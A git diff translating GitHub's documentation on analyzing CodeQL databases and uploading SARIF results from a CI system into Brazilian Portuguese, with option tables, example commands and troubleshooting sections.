-| <nobr>`--sarif-add-query-help`</nobr> | | Optional. Use if you want to include any available markdown-rendered query help for custom queries used in your analysis. Any query help for custom queries included in the SARIF output will be displayed in the code scanning UI if the relevant query generates an alert. For more information, see [Analyzing databases with the {% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/#including-query-help-for-custom-codeql-queries-in-sarif-files) in the documentation for the {% data variables.product.prodname_codeql_cli %}.{% endif %}{% if codeql-packs %}
-| `<packs>` | | Optional. Use if you have downloaded CodeQL query packs and want to run the default queries or query suites specified in the packs. For more information, see "[Downloading and using {% data variables.product.prodname_codeql %} packs](#downloading-and-using-codeql-query-packs)."{% endif %}
-| <nobr>`--threads`</nobr> | | Optional. Use if you want to use more than one thread to run queries. The default value is `1`. You can specify more threads to speed up query execution. To set the number of threads to the number of logical processors, specify `0`.
-| <nobr>`--verbose`</nobr> | | Optional. Use to get more detailed information about the analysis process{% ifversion fpt or ghes > 3.1 or ghae or ghec %} and diagnostic data from the database creation process{% endif %}.
+<table spaces-before="0">
+  <tr>
+    <th>
+      Opção
+    </th>
+    
+    <th align="center">
+      Obrigatório
+    </th>
+    
+    <th>
+      Uso
+    </th>
+  </tr>
+  
+  <tr>
+    <td>
+      <code>&lt;database&gt;</code>
+    </td>
+    
+    <td align="center">
+      {% octicon "check-circle-fill" aria-label="Required" %}
+    </td>
+    
+    <td>
+      Especifique o caminho para o diretório que contém o banco de dados de {% data variables.product.prodname_codeql %} a ser analisado.
+    </td>
+  </tr>
+  
+  <tr>
+    <td>
+      <code>&lt;packs,queries&gt;</code>
+    </td>
+    
+    <td align="center">
+    </td>
+    
+    <td>
+      Especifique pacotes ou consultas de {% data variables.product.prodname_codeql %} para executar. Para executar as consultas padrão usadas para {% data variables.product.prodname_code_scanning %}, omita este parâmetro. Para ver os outros itens de consultas incluídos no pacote de {% data variables.product.prodname_codeql_cli %}, procure em <code>/&lt;extraction-root&gt;/codeql/qlpacks/codeql-&lt;language&gt;/codeql-suites</code>. Para obter informações sobre como criar seu próprio conjunto de consulta, consulte <a href="https://codeql.github.com/docs/codeql-cli/creating-codeql-query-suites/">Criando conjuntos de consultas de CodeQL</a> na documentação do {% data variables.product.prodname_codeql_cli %}.
+    </td>
+  </tr>
+  
+  <tr>
+    <td>
+      <nobr>`--format`</nobr>
+    </td>
+    
+    <td align="center">
+      {% octicon "check-circle-fill" aria-label="Required" %}
+    </td>
+    
+    <td>
+      Especifique o formato para o arquivo de resultados gerado pelo comando. Para fazer upload para {% data variables.product.company_short %}, deverá ser: {% ifversion fpt or ghae or ghec %}<code>sarif-latest</code>{% else %}<code>sarifv2.1.0</code>{% endif %}. Para obter mais informações, consulte "<a href="/code-security/secure-coding/sarif-support-for-code-scanning">Suporte SARIF para {% data variables.product.prodname_code_scanning %}</a>".
+    </td>
+  </tr>
+  
+  <tr>
+    <td>
+      <nobr>`--output`</nobr>
+    </td>
+    
+    <td align="center">
+      {% octicon "check-circle-fill" aria-label="Required" %}
+    </td>
+    
+    <td>
+      Especifique onde salvar o arquivo de resultados SARIF.{% ifversion fpt or ghes > 3.1 or ghae or ghec %}
+    </td>
+  </tr>
+  
+  <tr>
+    <td>
+      <nobr><code>--sarif-category</code><nobr>
+    </td>
+    
+    <td align="center">
+      {% octicon "question" aria-label="Required with multiple results sets" %}
+    </td>
+    
+    <td>
+      Opcional para análise única do banco de dados. Necessário para definir a linguagem quando você analisa vários bancos de dados para um único commit em um repositório. Especifique uma categoria a incluir no arquivo de resultados SARIF para esta análise. Usa-e uma categoria para distinguir várias análises para a mesma ferramenta e commit, mas é realizada em diferentes linguagens ou diferentes partes do código.{% endif %}{% ifversion fpt or ghes > 3.3 or ghae or ghec %}
+    </td>
+  </tr>
+  
+  <tr>
+    <td>
+      <nobr>`--sarif-add-query-help`</nobr>
+    </td>
+    
+    <td align="center">
+    </td>
+    
+    <td>
+      Opcional. Use se quiser incluir qualquer ajuda de consulta disponível para consultas personalizadas usadas na sua análise. Qualquer consulta ajuda para consultas personalizadas incluídas na saída do SARIF será exibida na interface de digitalização de código se a consulta relevante gerar um alerta. Para obter mais informações, consulte <a href="https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/#including-query-help-for-custom-codeql-queries-in-sarif-files">Analisando bancos de dados com o {% data variables.product.prodname_codeql_cli %}</a> na documentação do {% data variables.product.prodname_codeql_cli %}.{% endif %}{% if codeql-packs %}
+    </td>
+  </tr>
+  
+  <tr>
+    <td>
+      <code>&lt;packs&gt;</code>
+    </td>
+    
+    <td align="center">
+    </td>
+    
+    <td>
+      Opcional. Use se você fez o download dos pacotes de consulta CodeQL e desejar executar as consultas padrão ou os conjuntos de consulta especificados nos pacotes. Para obter mais informações, consulte "<a href="#downloading-and-using-codeql-query-packs">Fazer o download e usar pacotes de {% data variables.product.prodname_codeql %}</a>."{% endif %}
+    </td>
+  </tr>
+  
+  <tr>
+    <td>
+      <nobr>`--threads`</nobr>
+    </td>
+    
+    <td align="center">
+    </td>
+    
+    <td>
+      Opcional. Use se você quiser usar mais de um tópico para executar consultas. O valor padrão é <code>1</code>. Você pode especificar mais threads para acelerar a execução da consulta. Para definir o número de threads para o número de processadores lógicos, especifique <code>0</code>.
+    </td>
+  </tr>
+  
+  <tr>
+    <td>
+      <nobr>`--verbose`</nobr>
+    </td>
+    
+    <td align="center">
+    </td>
+    
+    <td>
+      Opcional. Use para obter informações mais detalhadas sobre o processo de análise{% ifversion fpt or ghes > 3.1 or ghae or ghec %} e dados de diagnóstico do processo de criação do banco de dados{% endif %}.
+    </td>
+  </tr>
+</table>
 
 
-For more information, see [Analyzing databases with the {% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/) in the documentation for the {% data variables.product.prodname_codeql_cli %}.
+Para obter mais informações, consulte [Analisando bancos de dados com {% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/) na documentação do {% data variables.product.prodname_codeql_cli %}.
 
-### Basic example
+### Exemplo básico
 
-This example analyzes a {% data variables.product.prodname_codeql %} database stored at `/codeql-dbs/example-repo` and saves the results as a SARIF file: `/temp/example-repo-js.sarif`. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}It uses `--sarif-category` to include extra information in the SARIF file that identifies the results as JavaScript. This is essential when you have more than one {% data variables.product.prodname_codeql %} database to analyze for a single commit in a repository.{% endif %}
+Este exemplo analisa um banco de dados {% data variables.product.prodname_codeql %} armazenado em `/codeql-dbs/example-repo` e salva os resultados como um arquivo SARIF: `/temp/example-repo-js.sarif`. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}}Ele usa `--sarif-category` para incluir informações extras no arquivo SARIF que identifica os resultados como JavaScript. Isto é essencial quando você tem mais de um banco de dados de {% data variables.product.prodname_codeql %} para analisar um único commit em um repositório.{% endif %}
 
 ```
 $ codeql database analyze /codeql-dbs/example-repo  \
@@ -195,16 +444,16 @@ $ codeql database analyze /codeql-dbs/example-repo  \
 > Interpreting results.
 ```
 
-## Uploading results to {% data variables.product.product_name %}
+## Fazendo upload de resultados para {% data variables.product.product_name %}
 
 {% data reusables.code-scanning.upload-sarif-alert-limit %}
 
-Before you can upload results to {% data variables.product.product_name %}, you must determine the best way to pass the {% data variables.product.prodname_github_app %} or personal access token you created earlier to the {% data variables.product.prodname_codeql_cli %} (see [Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system#generating-a-token-for-authentication-with-github)). We recommend that you review your CI system's guidance on the secure use of a secret store. The {% data variables.product.prodname_codeql_cli %} supports:
+Antes de poder fazer o upload dos resultados para {% data variables.product.product_name %}, você deverá determinar a melhor maneira de passar o token de acesso {% data variables.product.prodname_github_app %} ou pessoal que você criou anteriormente para o {% data variables.product.prodname_codeql_cli %} (consulte [Instalando {% data variables.product.prodname_codeql_cli %} no seu sistema de CI](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system#generating-a-token-for-authentication-with-github)). Recomendamos que você revise a orientação do seu sistema de CI sobre o uso seguro de um armazenamento de segredos. O {% data variables.product.prodname_codeql_cli %} é compatível com:
 
-- Passing the token to the CLI via standard input using the `--github-auth-stdin` option (recommended).
-- Saving the secret in the environment variable `GITHUB_TOKEN` and running the CLI without including the `--github-auth-stdin` option.
+- Passando o token para a CLI através da entrada padrão usando a opção `--github-auth-stdin` (recomendado).
+- Salvando o segredo na variável de ambiente `GITHUB_TOKEN` e executando a CLI sem incluir a opção `--github-auth-stdin`.
 
-When you have decided on the most secure and reliable method for your CI server, run `codeql github upload-results` on each SARIF results file and include `--github-auth-stdin` unless the token is available in the environment variable `GITHUB_TOKEN`.
+Quando você decidir o método mais seguro e confiável para o seu servidor de CI, execute `codeql github upload-results` no arquivo de resultados SARIF e inclua `--github-auth-stdin`, a menos que o token esteja disponível na variável de ambiente `GITHUB_TOKEN`.
 
   ```shell
   echo "$UPLOAD_TOKEN" | codeql github upload-results --repository=&lt;repository-name&gt; \
@@ -212,20 +461,110 @@ When you have decided on the most secure and reliable method for your CI server,
       {% ifversion ghes > 3.0 or ghae %}--github-url=&lt;URL&gt; {% endif %}--github-auth-stdin
   ```
 
-| Option | Required | Usage |
-|--------|:--------:|-----|
-| <nobr>`--repository`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the *OWNER/NAME* of the repository to upload data to. The owner must be an organization within an enterprise that has a license for {% data variables.product.prodname_GH_advanced_security %} and {% data variables.product.prodname_GH_advanced_security %} must be enabled for the repository{% ifversion fpt or ghec %}, unless the repository is public{% endif %}. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."
-| <nobr>`--ref`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the name of the `ref` you checked out and analyzed so that the results can be matched to the correct code. For a branch use: `refs/heads/BRANCH-NAME`, for the head commit of a pull request use `refs/pulls/NUMBER/head`, or for the {% data variables.product.prodname_dotcom %}-generated merge commit of a pull request use `refs/pulls/NUMBER/merge`.
-| <nobr>`--commit`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the full SHA of the commit you analyzed.
-| <nobr>`--sarif`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the SARIF file to load.{% ifversion ghes > 3.0 or ghae %}
-| <nobr>`--github-url`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the URL for {% data variables.product.product_name %}.{% endif %}
-| <nobr>`--github-auth-stdin`</nobr> | | Optional. Use to pass the CLI the {% data variables.product.prodname_github_app %} or personal access token created for authentication with {% data variables.product.company_short %}'s REST API via standard input. This is not needed if the command has access to a `GITHUB_TOKEN` environment variable set with this token.
+<table spaces-before="0">
+  <tr>
+    <th>
+      Opção
+    </th>
+    
+    <th align="center">
+      Obrigatório
+    </th>
+    
+    <th>
+      Uso
+    </th>
+  </tr>
+  
+  <tr>
+    <td>
+      <nobr>`--repository`</nobr>
+    </td>
+    
+    <td align="center">
+      {% octicon "check-circle-fill" aria-label="Required" %}
+    </td>
+    
+    <td>
+      Especifique o <em x-id="3">PROPRIETÁRIO/NOME</em> do repositório para o qual será feito o upload dos dados. O proprietário deve ser uma organização dentro de uma empresa com uma licença para {% data variables.product.prodname_GH_advanced_security %} e {% data variables.product.prodname_GH_advanced_security %} deve estar habilitado para o repositório{% ifversion fpt or ghec %}, a menos que o repositório seja público{% endif %}. Para obter mais informações, consulte "<a href="/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository">Gerenciar configurações de segurança e análise do seu repositório</a>".
+    </td>
+  </tr>
+  
+  <tr>
+    <td>
+      <nobr>`--ref`</nobr>
+    </td>
+    
+    <td align="center">
+      {% octicon "check-circle-fill" aria-label="Required" %}
+    </td>
+    
+    <td>
+      Especifique o nome do <code>ref</code> que você verificou e analisou para que os resultados possam ser correspondidos ao código correto. Para o uso de um branch: <code>refs/heads/BRANCH-NAME</code>, para o commit principal de um pull request, use <code>refs/pulls/NUMBER/head</code> ou para o commit de merge gerado por {% data variables.product.prodname_dotcom %} do uso de um pull request <code>refs/pulls/NUMBER/merge</code>.
+    </td>
+  </tr>
+  
+  <tr>
+    <td>
+      <nobr>`--commit`</nobr>
+    </td>
+    
+    <td align="center">
+      {% octicon "check-circle-fill" aria-label="Required" %}
+    </td>
+    
+    <td>
+      Especifique o SHA completo do commit que você analisou.
+    </td>
+  </tr>
+  
+  <tr>
+    <td>
+      <nobr>`--sarif`</nobr>
+    </td>
+    
+    <td align="center">
+      {% octicon "check-circle-fill" aria-label="Required" %}
+    </td>
+    
+    <td>
+      Especifique o arquivo SARIF a ser carregado.{% ifversion ghes > 3.0 or ghae %}
+    </td>
+  </tr>
+  
+  <tr>
+    <td>
+      <nobr>`--github-url`</nobr>
+    </td>
+    
+    <td align="center">
+      {% octicon "check-circle-fill" aria-label="Required" %}
+    </td>
+    
+    <td>
+      Especifique a URL para {% data variables.product.product_name %}.{% endif %}
+    </td>
+  </tr>
+  
+  <tr>
+    <td>
+      <nobr>`--github-auth-stdin`</nobr>
+    </td>
+    
+    <td align="center">
+    </td>
+    
+    <td>
+      Opcional. Use para passar a CLI, {% data variables.product.prodname_github_app %} ou o token de acesso pessoal criado para autenticação com a API REST de {% data variables.product.company_short %}por meio da entrada padrão. Isso não é necessário se o comando tiver acesso a uma variável de ambiente <code>GITHUB_TOKEN</code> definida com este token.
+    </td>
+  </tr>
+</table>
 
-For more information, see [github upload-results](https://codeql.github.com/docs/codeql-cli/manual/github-upload-results/) in the documentation for the {% data variables.product.prodname_codeql_cli %}.
+Para obter mais informações, consulte [github upload-results](https://codeql.github.com/docs/codeql-cli/manual/github-upload-results/) na documentação para {% data variables.product.prodname_codeql_cli %}.
 
-### Basic example
+### Exemplo básico
 
-This example uploads results from the SARIF file `temp/example-repo-js.sarif` to the repository `my-org/example-repo`. It tells the {% data variables.product.prodname_code_scanning %} API that the results are for the commit `deb275d2d5fe9a522a0b7bd8b6b6a1c939552718` on the `main` branch.
+Este exemplo faz o upload dos resultados do arquivo SARIF `temp/example-repo-js.sarif` para o repositório `meu-org/example-repo`. Ele informa à API de {% data variables.product.prodname_code_scanning %} que os resultados são para o commit `deb275d2d5fe9a522a0b7bd8b6b6a1c939552718` no branch `main`.
 
 ```
 $ echo $UPLOAD_TOKEN | codeql github upload-results --repository=my-org/example-repo \
@@ -234,29 +573,67 @@ $ echo $UPLOAD_TOKEN | codeql github upload-results --repository=my-org/example-
     {% endif %}--github-auth-stdin
 ```
 
-There is no output from this command unless the upload was unsuccessful. The command prompt returns when the upload is complete and data processing has begun. On smaller codebases, you should be able to explore the {% data variables.product.prodname_code_scanning %} alerts in {% data variables.product.product_name %} shortly afterward. You can see alerts directly in the pull request or on the **Security** tab for branches, depending on the code you checked out. For more information, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)" and "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)."
+Não há saída deste comando a menos que o upload não tenha sido bem-sucedido. A instrução de comando retorna quando o upload foi concluído e o processamento de dados é iniciado. Em bases de código menores, você poderá explorar os alertas de {% data variables.product.prodname_code_scanning %} em {% data variables.product.product_name %} pouco tempo depois. É possível ver alertas diretamente no pull request ou na aba **Segurança** para branches, dependendo do código que você fizer checkout. Para obter mais informações, consulte "[Triar alertas de {% data variables.product.prodname_code_scanning %} em pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)" e "[Gerenciar alertas de {% data variables.product.prodname_code_scanning %} para o seu repositório](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)".
 
 {% if codeql-packs %}
-## Downloading and using {% data variables.product.prodname_codeql %} query packs
+## Fazendo o download e usando pacotes de consulta de {% data variables.product.prodname_codeql %}
 
 {% data reusables.code-scanning.beta-codeql-packs-cli %}
 
-The {% data variables.product.prodname_codeql_cli %} bundle includes queries that are maintained by {% data variables.product.company_short %} experts, security researchers, and community contributors. If you want to run queries developed by other organizations, {% data variables.product.prodname_codeql %} query packs provide an efficient and reliable way to download and run queries. For more information, see "[About code scanning with CodeQL](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql#about-codeql-queries)."
+O pacote de {% data variables.product.prodname_codeql_cli %} inclui consultas mantidas por especialistas de {% data variables.product.company_short %}, pesquisadores de segurança e contribuidores da comunidade. Se você quiser executar consultas desenvolvidas por outras organizações, os pacotes de consulta de {% data variables.product.prodname_codeql %} fornecem uma forma eficiente e confiável de fazer o download e executar consultas. Para obter mais informações, consulte "[Sobre digitalização de código com o CodeQL](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql#about-codeql-queries)".
 
-Before you can use a {% data variables.product.prodname_codeql %} pack to analyze a database, you must download any packages you require from the {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %} by running `codeql pack download` and specifying the packages you want to download. If a package is not publicly available, you will need to use a {% data variables.product.prodname_github_app %} or personal access token to authenticate. For more information and an example, see "[Uploading results to {% data variables.product.product_name %}](#uploading-results-to-github)" above.
+Antes de usar um pacote de {% data variables.product.prodname_codeql %} para analisar um banco de dados, você deve fazer o download de todos os pacotes que precisar a partir de {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %} executando `codeql download` e especificando os pacotes que você deseja baixar. Se um pacote não estiver disponível publicamente, você precisará usar um {% data variables.product.prodname_github_app %} ou um token de acesso pessoal para efetuar a autenticação. Para obter mais informações e um exemplo, consulte "[o Fazer upload dos resultados para {% data variables.product.product_name %}](#uploading-results-to-github)" acima.
 
 ```shell
 codeql pack download &lt;scope/name@version&gt;,... 
 ```
 
-| Option | Required | Usage |
-|--------|:--------:|-----|
-| <nobr>`<scope/name@version>`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the scope and name of one or more CodeQL query packs to download using a comma-separated list. Optionally, include the version to download and unzip. By default the latest version of this pack is downloaded. |
-| <nobr>`--github-auth-stdin`</nobr> | | Optional. Pass the {% data variables.product.prodname_github_app %} or personal access token created for authentication with {% data variables.product.company_short %}'s REST API to the CLI via standard input. This is not needed if the command has access to a `GITHUB_TOKEN` environment variable set with this token.
+<table spaces-before="0">
+  <tr>
+    <th>
+      Opção
+    </th>
+    
+    <th align="center">
+      Obrigatório
+    </th>
+    
+    <th>
+      Uso
+    </th>
+  </tr>
+  
+  <tr>
+    <td>
+      <nobr>`<scope>`</nobr>
+    </td>
+    
+    <td align="center">
+      {% octicon "check-circle-fill" aria-label="Required" %}
+    </td>
+    
+    <td>
+      Especifique o escopo e o nome de um ou mais pacotes de consulta CodeQL para fazer o download usando uma lista separada por vírgulas. Opcionalmente, inclua a versão para fazer o download e descompactar. Por padrão, a versão mais recente deste pacote foi baixada.
+    </td>
+  </tr>
+  
+  <tr>
+    <td>
+      <nobr>`--github-auth-stdin`</nobr>
+    </td>
+    
+    <td align="center">
+    </td>
+    
+    <td>
+      Opcional. Passe o token de acesso {% data variables.product.prodname_github_app %} ou pessoal criado para autenticação com a API REST de {% data variables.product.company_short %}para a CLI por meio da entrada padrão. Isso não é necessário se o comando tiver acesso a uma variável de ambiente <code>GITHUB_TOKEN</code> definida com este token.
+    </td>
+  </tr>
+</table>
 
-### Basic example
+### Exemplo básico
 
-This example runs two commands to download the latest version of the `octo-org/security-queries` pack and then analyze the database `/codeql-dbs/example-repo`. 
+Este exemplo executa dois comandos para baixar a última versão do pacote `octo-org/security-queries` e, em seguida, analisar o banco de dados `/codeql-dbs/exemplo-repo`.
 
 ```
 $ echo $OCTO-ORG_ACCESS_TOKEN | codeql pack download octo-org/security-queries
@@ -279,9 +656,9 @@ $ codeql database analyze /codeql-dbs/example-repo  octo-org/security-queries \
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
 
-## Example CI configuration for {% data variables.product.prodname_codeql %} analysis
+## Exemplo de configuração de CI para análise de {% data variables.product.prodname_codeql %}
 
-This is an example of the series of commands that you might use to analyze a codebase with two supported languages and then upload the results to {% data variables.product.product_name %}.
+Este é um exemplo da série de comandos que você pode usar para analisar uma base de código com duas linguagens compatíveis e, em seguida, fazer o upload dos resultados para {% data variables.product.product_name %}.
 
 ```shell
 # Create CodeQL databases for Java and Python in the 'codeql-dbs' directory
@@ -315,25 +692,25 @@ echo $UPLOAD_TOKEN | codeql github upload-results --repository=my-org/example-re
     --sarif=python-results.sarif --github-auth-stdin
 ```
 
-## Troubleshooting the {% data variables.product.prodname_codeql_cli %} in your CI system
+## Solucionando o {% data variables.product.prodname_codeql_cli %} do seu sistema de CI
 
-### Viewing log and diagnostic information
+### Visualizando o registro e as informações de diagnóstico
 
-When you analyze a {% data variables.product.prodname_codeql %} database using a {% data variables.product.prodname_code_scanning %} query suite, in addition to generating detailed information about alerts, the CLI reports diagnostic data from the database generation step and summary metrics. For repositories with few alerts, you may find this information useful for determining if there are genuinely few problems in the code, or if there were errors generating the {% data variables.product.prodname_codeql %} database. For more detailed output from `codeql database analyze`, use the `--verbose` option.
+Ao analisar um banco de dados {% data variables.product.prodname_codeql %} usando um conjunto de consultas de {% data variables.product.prodname_code_scanning %}, além de gerar informações detalhadas sobre alertas, a CLI relata dados de diagnóstico da etapa de geração de banco de dados e resumo de métricas. Para repositórios com poucos alertas, você pode considerar úteis essas informações para determinar se realmente existem poucos problemas no código, ou se houve erros ao gerar o banco de dados {% data variables.product.prodname_codeql %}. Para obter saídas mais detalhadas de `codeql database analyze`, use a opção `--verbose`.
 
-For more information about the type of diagnostic information available, see "[Viewing {% data variables.product.prodname_code_scanning %} logs](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs#about-analysis-and-diagnostic-information)".
+Para obter mais informações sobre o tipo de informações de diagnóstico disponíveis, consulte "[Visualizar registros de {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs#about-analysis-and-diagnostic-information)".
 
-### {% data variables.product.prodname_code_scanning_capc %} only shows analysis results from one of the analyzed languages
+### {% data variables.product.prodname_code_scanning_capc %} mostra apenas os resultados da análise de uma das linguagens analisadas
 
-By default, {% data variables.product.prodname_code_scanning %} expects one SARIF results file per analysis for a repository. Consequently, when you upload a second SARIF results file for a commit, it is treated as a replacement for the original set of data.
+Por padrão, {% data variables.product.prodname_code_scanning %} espera um arquivo de resultados SARIF por análise de um repositório. Consequentemente, quando se faz o upload de um segundo arquivo SARIF para um compromisso, ele é tratado como uma substituição do conjunto original de dados.
 
-If you want to upload more than one set of results to the {% data variables.product.prodname_code_scanning %} API for a commit in a repository, you must identify each set of results as a unique set. For repositories where you create more than one {% data variables.product.prodname_codeql %} database to analyze for each commit, use the `--sarif-category` option to specify a language or other unique category for each SARIF file that you generate for that repository.
+Se desejar fazer o upload de mais de um conjunto de resultados para a API de {% data variables.product.prodname_code_scanning %} para um commit em um repositório, você deve identificar cada conjunto de resultados como um conjunto único. Para repositórios em que você cria mais de um banco de dados de {% data variables.product.prodname_codeql %} para analisar para cada commit, use a opção `--sarif-category` para especificar uma linguagem ou outra categoria exclusiva para cada arquivo SARIF que você gerar para esse repositório.
 
-### Alternative if your CI system cannot trigger the {% data variables.product.prodname_codeql_cli %}
+### Alternativa caso o seu sistema de CI não puder acionar {% data variables.product.prodname_codeql_cli %}
 
 {% ifversion fpt or ghes > 3.2 or ghae or ghec %}
 
-If your CI system cannot trigger the {% data variables.product.prodname_codeql_cli %} autobuild and you cannot specify a command line for the build, you can use indirect build tracing to create {% data variables.product.prodname_codeql %} databases for compiled languages. For more information, see [Using indirect build tracing](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#using-indirect-build-tracing) in the documentation for the {% data variables.product.prodname_codeql_cli %}.
+Se o seu sistema CI não puder habilitar o autobuild {% data variables.product.prodname_codeql_cli %} e você não puder especificar uma linha de comando para a compilação, você poderá usar o rastreamento de compilação indireto para criar bancos de dados de {% data variables.product.prodname_codeql %} para linguagens compiladas. Para obter mais informações, consulte [Usando o rastreamento indireto de compilação](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#using-indirect-build-tracing) na documentação de {% data variables.product.prodname_codeql_cli %}.
 
 {% endif %}
 
@@ -347,7 +724,7 @@ If your CI system cannot trigger the {% data variables.product.prodname_codeql_c
 
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- [Creating CodeQL databases](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/)
-- [Analyzing databases with the CodeQL CLI](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/)
+- [Criando bancos de dados de CodeQL](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/)
+- [Analisando bancos de dados com a CLI do CodeQL](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/)
diff --git a/translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md b/translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md
index 8528c045c6..ee591bef97 100644
--- a/translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md
+++ b/translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md
@@ -1,7 +1,7 @@
 ---
-title: Installing CodeQL CLI in your CI system
-shortTitle: Install CodeQL CLI
-intro: 'You can install the {% data variables.product.prodname_codeql_cli %} and use it to perform {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in a third-party continuous integration system.'
+title: Instalando CodeQL CLI no seu sistema de CI
+shortTitle: Instalar a CLI do CodeQL
+intro: 'Você pode instalar o {% data variables.product.prodname_codeql_cli %} e usá-lo para executar {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} em um sistema de integração contínua de terceiros.'
 product: '{% data reusables.gated-features.code-scanning %}'
 miniTocMaxHeadingLevel: 3
 versions:
@@ -24,52 +24,53 @@ redirect_from:
   - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-cli-in-your-ci-system
   - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system
 ---
+
 {% data reusables.code-scanning.enterprise-enable-code-scanning %}
 
-## About using the {% data variables.product.prodname_codeql_cli %} for {% data variables.product.prodname_code_scanning %}
+## Sobre o uso do {% data variables.product.prodname_codeql_cli %} for {% data variables.product.prodname_code_scanning %}
 
-You can use the {% data variables.product.prodname_codeql_cli %} to run {% data variables.product.prodname_code_scanning %} on code that you're processing in a third-party continuous integration (CI) system. {% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)." For recommended specifications (RAM, CPU cores, and disk) for running {% data variables.product.prodname_codeql %} analysis, see "[Recommended hardware resources for running {% data variables.product.prodname_codeql %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql)."
+Você pode usar {% data variables.product.prodname_codeql_cli %} para executar o {% data variables.product.prodname_code_scanning %} no código que você está processando em um sistema de integração contínua (CI) de terceiros. {% data reusables.code-scanning.about-code-scanning %} Para obter informações, consulte "[Sobre {% data variables.product.prodname_code_scanning %} com {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)." Para as especificações recomendadas (RAM, núcleos de CPU e disco) para executar a análise {% data variables.product.prodname_codeql %}, consulte "[Recursos recomendados de hardware para executar {% data variables.product.prodname_codeql %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql)".
 
 {% data reusables.code-scanning.what-is-codeql-cli %}
 
-Alternatively, you can use {% data variables.product.prodname_actions %} to run {% data variables.product.prodname_code_scanning %} within {% data variables.product.product_name %}. For information about {% data variables.product.prodname_code_scanning %} using actions, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." For an overview of the options for CI systems, see "[About CodeQL {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)".
+Como alternativa, você pode usar {% data variables.product.prodname_actions %} para executar {% data variables.product.prodname_code_scanning %} em {% data variables.product.product_name %}. Para obter informações sobre {% data variables.product.prodname_code_scanning %} usando ações, consulte "[Configurar {% data variables.product.prodname_code_scanning %} para um repositório](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)". Para obter uma visão geral das opções para os sistemas de CI, consulte "[Sobre o CodeQL {% data variables.product.prodname_code_scanning %} no seu sistema de CI](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)".
 
 {% data reusables.code-scanning.licensing-note %}
 
-## Downloading the {% data variables.product.prodname_codeql_cli %}
+## Fazer o download do {% data variables.product.prodname_codeql_cli %}
 
-You should download the {% data variables.product.prodname_codeql %} bundle from https://github.com/github/codeql-action/releases. The bundle contains:
+Você deve fazer o download do pacote {% data variables.product.prodname_codeql %} em https://github.com/github/codeql-action/releases. O pacote contém:
 
